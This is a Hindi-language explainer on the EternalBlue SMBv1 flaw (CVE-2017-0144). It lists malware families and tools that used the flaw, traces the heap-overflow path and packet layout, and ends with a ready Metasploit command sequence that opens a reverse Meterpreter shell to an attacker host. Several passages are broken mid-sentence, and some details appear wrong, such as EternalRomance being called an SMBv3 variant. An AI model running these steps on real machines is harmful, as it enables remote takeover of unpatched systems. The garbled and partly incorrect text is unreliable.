
CVE-2017-0144

"एक एक्सप्लॉइट। दर्जनों मैलवेयर परिवार। अरबों का नुकसान।"
CVE-2017-0144 Microsoft Windows में SMBv1 सर्वर कार्यान्वयन में एक गंभीर रिमोट कोड-निष्पादन भेद्यता है। EternalBlue के रूप में जाना जाने वाला एक्सप्लॉइट इस छेद का दुरुपयोग करता था और इसका उपयोग उच्च-प्रभाव वाले हमलों (विशेष रूप से WannaCry) में किया गया था।
| # | मैलवेयर | प्रकार | पहली बार देखा गया | हमलावर | क्षति | नोट्स |
|---|---|---|---|---|---|---|
| 1 | WannaCry | रैंसमवेयर | 12 मई, 2017 | लाज़रस ग्रुप (DPRK) | $4–8B | किलस्विच: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | वाइपर (रैंसमवेयर के रूप में प्रस्तुत) | 27 जून, 2017 | सैंडवॉर्म (रूस) | $10B+ | Mimikatz + EternalBlue + PSEXEC का उपयोग किया |
| 3 | Bad Rabbit | रैंसमवेयर | 24 अक्टूबर, 2017 | इंद्रिक स्पाइडर | क्षेत्रीय | नकली Flash अपडेट ड्राइव-बाय |
| 4 | Uiwix | रैंसमवेयर | मई 2017 | अज्ञात | कम | कोई किलस्विच नहीं, WannaCry से अधिक गुप्त |
| 5 | EternalRocks | वर्म | मई 2017 | अज्ञात | मध्यम | 7 NSA उपकरण (DoublePulsar सहित) |
| 6 | Adylkuzz | क्रिप्टोमाइनर | मई 2017 | अज्ञात | उच्च (मौन) | WannaCry से पहले Monero माइन किया |
| 7 | Retefe | बैंकिंग ट्रोजन | 2017–2018 | अज्ञात | EU बैंक | पार्श्व संचलन के लिए EternalBlue का उपयोग किया |
| 8 | TrickBot | मॉड्यूलर मैलवेयर | 2017–2021 | विज़ार्ड स्पाइडर | वैश्विक | EternalBlue के माध्यम से Ryuk ड्रॉप किया |
| 9 | Emotet | लोडर | 2017–2021 | TA542 | वैश्विक | Cobalt Strike के लिए प्रवेश के रूप में उपयोग किया गया |
| 10 | Clop / Dridex | रैंसमवेयर | 2019–2025 | TA505 | स्वास्थ्य सेवा, सरकार | 2025 में अभी भी सक्रिय |
| उपकरण | रिलीज़ | विशेषताएँ |
|---|---|---|
| EternalBlue (मूल) | अप्रैल 2017 (Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | अप्रैल 2017 | बैकडोर इम्प्लांट (ring0) |
| EternalRomance | अप्रैल 2017 | SMBv3 वेरिएंट |
| EternalChampion | अप्रैल 2017 | वैकल्पिक SMB पथ |
| Metasploit मॉड्यूल | मई 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | अप्रैल 2017 | NSA एक्सप्लॉइट फ्रेमवर्क |
| Impacket + PSEXEC | 2017–2025 | Python SMB शोषण |
"एक विकृत पैकेट। पूर्ण SYSTEM पहुंच। कोई लॉगिन नहीं। कोई क्लिक नहीं।"
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
| आवश्यकता | विवरण |
|---|---|
| लक्ष्य | SMBv1 सक्षम के साथ Windows (पूर्व-Win10 डिफ़ॉल्ट) |
| खुला पोर्ट | 445/TCP (या NetBIOS के माध्यम से 139/TCP) |
| कोई प्रमाणीकरण नहीं | अप्रमाणित — कोई उपयोगकर्ता नाम/पासवर्ड आवश्यक नहीं |
| आर्किटेक्चर | x86 या x64 (दोनों समर्थित) |
| पैच स्थिति | अनपैच्ड (पूर्व-MS17-010) |
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
क्यों? पुष्टि करता है कि SMBv1 सक्रिय है।
\\TARGET\IPC$ → Anonymous share for SMB pipes
उद्देश्य: लेनदेन अनुरोध भेजने के लिए एक सत्र स्थापित करता है।
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
बग ट्रिगर:
SrvOS2FeaListSizeToNt()बिना सीमा जांच के इस आकार पर भरोसा करता है।
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
हीप स्प्रे: मेमोरी लेआउट को नियंत्रित करने के लिए बड़े हिस्से आवंटित करता है।
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free रूटीन)KeUserModeCallback के माध्यम से)mssecsvc.exe)
0x00120034 XOR कुंजी)Ping: 0x0002C001Exec: 0x0002C002 + पेलोडWannaCry उदाहरण:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
| उपकरण | भाषा | मॉड्यूल |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| कस्टम C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit